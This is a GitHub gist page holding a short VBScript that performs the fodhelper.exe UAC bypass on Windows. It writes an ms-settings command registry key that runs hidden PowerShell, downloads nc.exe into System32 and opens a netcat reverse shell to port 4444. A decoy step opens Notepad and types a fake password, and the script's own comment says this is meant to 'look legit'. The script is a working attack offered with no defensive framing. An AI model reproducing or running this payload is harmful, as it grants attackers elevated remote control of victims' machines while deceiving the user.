Created
April 25, 2018 18:31
-
-
Save tommelo/7178fa57df0949529261e537eebf95f5 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Const HKEY_CURRENT_USER = &H80000001 | |
Const FodHelperPath = "C:\\Windows\\System32\\fodhelper.exe" | |
Const RegKeyPathStr = "SOFTWARE\\Classes\\ms-settings\\shell\\open\\command" | |
Const RegKeyPath = "Software\\Classes\\ms-settings\\shell\\open\\command" | |
Const DelegateExecRegKeyName = "DelegateExecute" | |
Const DelegateExecRegKeyValue = "" | |
Const DefaultRegKeyName = "" | |
Const DefaultRegKeyValue = "cmd.exe /c powershell.exe -nop -w hidden iwr -outf C:\Windows\System32\nc.exe http://127.0.0.1/nc.exe & C:\Windows\System32\nc.exe 127.0.0.1 4444 -e cmd.exe" | |
Const RegObjectPath = "winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv" | |
Set Registry = GetObject(RegObjectPath) | |
Registry.CreateKey HKEY_CURRENT_USER, RegKeyPath | |
Registry.SetStringValue HKEY_CURRENT_USER, RegKeyPathStr, DelegateExecRegKeyName, DelegateExecRegKeyValue | |
Registry.SetStringValue HKEY_CURRENT_USER, RegKeyPathStr, DefaultRegKeyName, DefaultRegKeyValue | |
Set Shell = WScript.CreateObject("WScript.Shell") | |
Shell.Run FodHelperPath, 0, False | |
'---------------------------------------------------- | |
' Add to look legit! | |
'---------------------------------------------------- | |
Set Notepad = WScript.CreateObject("WScript.Shell") | |
Notepad.Run "C:\\Windows\\System32\\notepad.exe" | |
WScript.Sleep 1000 | |
Notepad.SendKeys "Password: secure" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment